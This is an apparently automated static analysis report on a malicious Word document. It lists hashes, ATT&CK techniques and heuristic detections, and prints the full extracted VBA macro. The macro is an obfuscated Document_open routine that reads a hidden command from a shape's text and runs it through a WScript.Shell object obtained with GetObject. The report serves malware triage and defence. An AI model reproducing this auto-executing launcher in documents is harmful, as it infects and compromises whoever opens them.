Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c7f540b7667722d8…

MALICIOUS

Office (OLE)

141.9 KB Created: 2018-11-29 19:59:00 Authoring application: Microsoft Office Word First seen: 2019-03-10
MD5: 1cd3bfb8c497452ae80acfff1ceeb2ce SHA-1: 68ae1c1158a31a0764190775e9aaa507725f66c6 SHA-256: c7f540b7667722d8ef6f962eec154671ebdf7e156104f6b830c9a3ecc29efe7a
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains a VBA macro with a Document_Open auto-execution routine. This macro references PowerShell and uses obfuscated commands, indicating an attempt to download and execute a secondary payload. The presence of a `GetObject` call further suggests interaction with external resources or objects. The ClamAV detection confirms the malicious nature of the file.

Heuristics 8

  • ClamAV: Doc.Malware.00536d-6764534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6764534-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    End Select
Set Ewdri = CVar(GetObject(ouqjA + "new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + mBTzdSUYj))
   On Error Resume Next
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9106 bytes
SHA-256: c7305b502be0f7c231d3802938f4752edf314a459ad20f86e73d8f32d47e0bb3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
156 of 242 identifiers look randomly generated (e.g. 'FAfIzWWsGWYtKl') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FAfIzWWsGWYtKl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   On Error Resume Next
      HoACQY = (jcPdjjuFO - Oct(anQGc) * hivGYNWa - Sgn(143288678) - 33543119 + Fix(jXzfSDUB) + 3040033139# + 231324654 / 294254959 / pUzloPBzE)
      Select Case BSYURUW
         Case 37902714
            HbwOiQYI = CLng(234415112)
            FiDpmGmab = Int(KUHjBVfH)
         Case 323852693
            ziotlRqG = Hex(99963174)
            QHRAzww = CStr(191544228 * CByte(OfuuXimT))
End Select
   On Error Resume Next
      AXDsdiAC = (LZOqVK - Oct(rWzAr) * NZPaR - Sgn(159165490) - 173836489 + Fix(ABAaJihZ) + 1615969149 + 164311630 / 43959458 / mCaVpQi)
      Select Case LSUlw
         Case 2780115
            dcCNb = CLng(183034220)
            LYOPMcXS = Int(YtQNKwulB)
         Case 271676517
            VhjOiI = Hex(161339160)
            wVLiz = CStr(20334341 * CByte(CGZDGktUw))
End Select
   On Error Resume Next
      zUvnb = (OkNPHPR - Oct(CKIlqwL) * cNCWKLIoO - Sgn(8185466) - 12852306 + Fix(DzkiDXa) + 2174644989# + 341913130 / 317621340 / YiKCsGlcB)
      Select Case ErhkFSDb
         Case 165863507
            GNoXE = CLng(172777780)
            iSXivjQ = Int(ozIQhcY)
         Case 1291482
            zFDuzFWF = Hex(176049624)
            qKunzScCK = CStr(196126880 * CByte(JLQGR))
End Select
   On Error Resume Next
      CoZQzzj = (EbkMkHpi - Oct(cqrqcuFXq) * JVSHiDIC - Sgn(230399101) - 191256509 + Fix(jHVvM) + 2607844859# + 96354877 / 247424474 / mMCFSdLi)
      Select Case tUtJNaS
         Case 253127075
            BIbFGF = CLng(272812185)
            jWuQGqlBz = Int(TMpFsadpI)
         Case 74202221
            tvdZTNd = Hex(86978657)
            FwQYtpoJ = CStr(257379903 * CByte(IINdwZi))
End Select
Set LrYiNzYwX = Shapes("fbiujpXX")
   On Error Resume Next
      iwvtQts = (zwrjW - Oct(tcwOMGKv) * UbSDAJhN - Sgn(144459639) - 251476901 + Fix(ATGXZk) + 548722719 + 84962064 / 131911859 / KHnWWzC)
      Select Case snPjQ
         Case 174519758
            zprsRl = CLng(143999246)
            KoZWbobwz = Int(BKUfhdL)
         Case 206995689
            dwwQD = Hex(210837934)
            bvQUC = CStr(296422375 * CByte(NchzbaRQ))
End Select
   On Error Resume Next
      iEkvEZ = (flNRVzw - Oct(CMIRtu) * TvAJh - Sgn(297718464) - 210741429 + Fix(ZoGahuKwN) + 1537320879 + 28533274 / 32655571 / NYRYJ)
      Select Case LYpCzaj
         Case 247716181
            vusfznod = CLng(103868188)
            PRsQvup = Int(wFWilYVU)
         Case 163307639
            mIzAIVAS = Hex(204409385)
            FPYvBzt = CStr(36944450 * CByte(ItIIlh))
End Select
   On Error Resume Next
      CRwcAz = (pYXufwcM - Oct(AFVzzQB) * IrTsEjlvc - Sgn(21156597) - 200190861 + Fix(tjGlLpNFE) + 819484279 + 183699852 / 48201939 / TFaHQP)
      Select Case QEUJjpkp
         Case 252287609
            CvwQkRzkl = CLng(64332013)
            vpvPM = Int(ldKnMns)
         Case 200424298
            PzEWFYTF = Hex(63022435)
            JAiobXfF = CStr(228974262 * CByte(OYtUOzL))
End Select
   On Error Resume Next
      ROJblEEjH = (jGuqPHhw - Oct(pimjPhaN) * tfoHu - Sgn(166090225) - 274857245 + Fix(qEwzkiBo) + 1686895409 + 223058809 / 143173820 / tfUrjY)
      Select Case ifutLr
         Case 7755327
            cAbMVAbRc = CLng(327080428)
            FAlvpAEv = Int(NKzXV)
         Case 46381346
            IvLnIj = Hex(263498371)
            ozVARRN = CStr(290422507 * CByte(CTRtjFtGv))
End Select
Ajiwjlj = "" + IFmwCCfO + ckmjCbD + LrYiNzYwX.TextFrame.TextRange.Text + QjhJJZq + IFMqtSY
   On Error Resume Next
      hObcB = (EjrYsjPOA - Oct(qmwmcvtLT) * RPUZBj - Sgn(52853806) - 30710505 + Fix(jjZsNPh) + 2934902469# + 306105290 / 167085508 / PjORYPORb)
      Select Case UPIlapLR
         Case 155351479
            bLpTP = CLng(115758818)
            lXuCzmXAk = Int(DAlVq)
         Case 195173566
            LQQGmaWa = Hex(150753811)
            UDqvBG = CStr(144617306 * CByte(ujjVdlk))
End Select
   On Error Resume Next
      zwIzHlOaZ = (JClGnTzRa - Oct(SjXttqL) * HGclobo - Sgn(288946867) - 69839727 + Fix(scCdkb) + 451962509 + 201651147 / 132841807 / IksAuf)
      Select Case NbPERZn
         Case 122909175
            UXNJRv = CLng(57102574)
            ZwbpzvmO = Int(BSXOcrJ)
         Case 22277359
            QvIaCPK = Hex(116440399)
            jRKtM = CStr(183616865 * CByte(awEjN))
End Select
   On Error Resume Next
      jGWXvokzR = (XRDLKS - Oct(tTbGRzojP) * pwzjvizBH - Sgn(256610098) - 86386642 + Fix(vloWqiRZ) + 2465488339# + 324595828 / 267343227 / NQMqS)
      Select Case iqfov
         Case 20109044
            fciEKD = CLng(206832134)
            LXpSuJG = Int(pNrHwS)
         Case 203796951
            JiAEWCG = Hex(279084661)
            CKGiVauJ = CStr(143421411 * CByte(sWYXz))
End Select
   On Error Resume Next
      bXrfwbvVn = (wwzKM - Oct(RwzOz) * MqNBrKtn - Sgn(40210016) - 105866463 + Fix(XLcufF) + 110322309 + 339323102 / 279564506 / htjAwJRht)
      Select Case zvpLASwk
         Case 241282756
            AzjiZzk = CLng(95816955)
            tvOHtizi = Int(tBbFN)
         Case 203874349
            cVRuNJ = Hex(116362410)
            OriNAa = CStr(335523060 * CByte(Dwzpkov))
End Select
Set Ewdri = CVar(GetObject(ouqjA + "new:72C24DD5-D70A-438B-8A42-98424B88AFB8" + mBTzdSUYj))
   On Error Resume Next
      WLnjSQtPd = (zEMwhR - Oct(pHRIYBYca) * pVlOaJYlQ - Sgn(155487012) - 206008469 + Fix(KLGmr) + 2035115279 + 93900100 / 105892582 / SwGrMz)
      Select Case wKOHrVDu
         Case 283380977
            YuoMR = CLng(302140101)
            ozFClK = Int(OKiXZfWOJ)
         Case 252083884
            GIYJoIMv = Hex(269921279)
            TcDAC = CStr(263270989 * CByte(OukNz))
End Select
   On Error Resume Next
      pJDidw = (DUiEzYw - Oct(YVplwitsj) * YOviXlMXz - Sgn(287299774) - 127661044 + Fix(YFZvHQ) + 1126630229 + 267096907 / 249435963 / OVXmnzchw)
      Select Case XjEkZZ
         Case 322242017
            rcYEiHzjL = CLng(9304548)
            cbrNiAa = Int(kwNvS)
         Case 311377298
            uoApV = Hex(228358253)
            YwJVJq = CStr(109150203 * CByte(DnaKTqfV))
End Select
   On Error Resume Next
      XihzwQKwT = (LXzAFz - Oct(CLUwEL) * NIwjFzusQ - Sgn(52442072) - 11808054 + Fix(GidjStQ) + 3253320559# + 243760066 / 66629173 / dkUfVud)
      Select Case STqjqUdsV
         Case 117462979
            Hrwiqf = CLng(167741261)
            CFnNGDhS = Int(lRYwmMiHQ)
         Case 339631637
            LoAvfSCj = Hex(205736252)
            dAwPb = CStr(274200740 * CByte(FkfJBjH))
End Select
Const FJjBlq = 0
   On Error Resume Next
      TPrCzZj = (LdDEYVzER - Oct(qiDVPRaM) * tGNZhFkH - Sgn(44605893) - 87563822 + Fix(GTiqYLwFS) + 3362848259# + 278861285 / 86808958 / JYQTzzZb)
      Select Case kmnwEVwo
         Case 94515912
            rZaWwMzDV = CLng(144066463)
            pDthPJpQJ = Int(nRVjv)
         Case 19389211
            HaGikzW = Hex(40673425)
            BUGAwDFq = CStr(313227133 * CByte(uQoMJXEl))
End Select
   On Error Resume Next
      iKNqzmQkJ = (LTuLJ - Oct(FLBwo) * uXGEwS - Sgn(259613212) - 328686462 + Fix(RfjpSwSu) + 274383109 + 141289599 / 94208003 / wDPJJAm)
      Select Case ZkbIL
         Case 108007356
            juqwzLVuo = CLng(70643063)
            qMnQzaa = Int(wUqvmSAqM)
         Case 220204557
            bdCGi = Hex(339035963)
            XRLaJb = CStr(333013397 * CByte(KZUImAiP))
End Select
EnAJW = Array(vPPEFXbhH, Ewdri.Run!(Ajiwjlj, FJjBlq), KJLkLin)
   On Error Resume Next
      tBNfL = (WDwjlVM - Oct(HukkA) * DNfvR - Sgn(154639735) - 177770492 + Fix(TSiSLDK) + 2588209659# + 341136237 / 103295658 / raWDEP)
      Select Case QYLNnJEbz
         Case 212536909
            ROnAzkd = CLng(2407874)
            JIzUuV = Int(IchJbja)
         Case 46308227
            KFfZO = Hex(237543396)
            iRiBc = CStr(282109780 * CByte(maEwhHb))
End Select
   On Error Resume Next
      dAXHKZ = (fJNwq - Oct(BvnwTk) * khZPGT - Sgn(30127488) - 13682786 + Fix(ECjsb) + 2821991869# + 168080845 / 203082425 / DOAkSWh)
      Select Case NAahFQM
         Case 60651216
            vbHArUEY = CLng(33938422)
            MzoKVI = Int(QWSAPCi)
         Case 192525831
            EbZwm = Hex(156388877)
            rvwXWLtv = CStr(76169672 * CByte(LVfZpE))
End Select
   On Error Resume Next
      rHDHpHw = (dzXmWzuhX - Oct(skploSK) * NFzZRnI - Sgn(303271704) - 293275591 + Fix(vTdfOppn) + 956785629 + 143843726 / 4485701 / TOVOPqnGS)
      Select Case zKtswEjj
         Case 199860629
            HIlDsMW = CLng(3343364)
            BEoiOmiDC = Int(RGlTLWT)
         Case 250276954
            rlHirXr = Hex(69508930)
            RVCUmLR = CStr(213568341 * CByte(fiGPA))
End Select
End Sub

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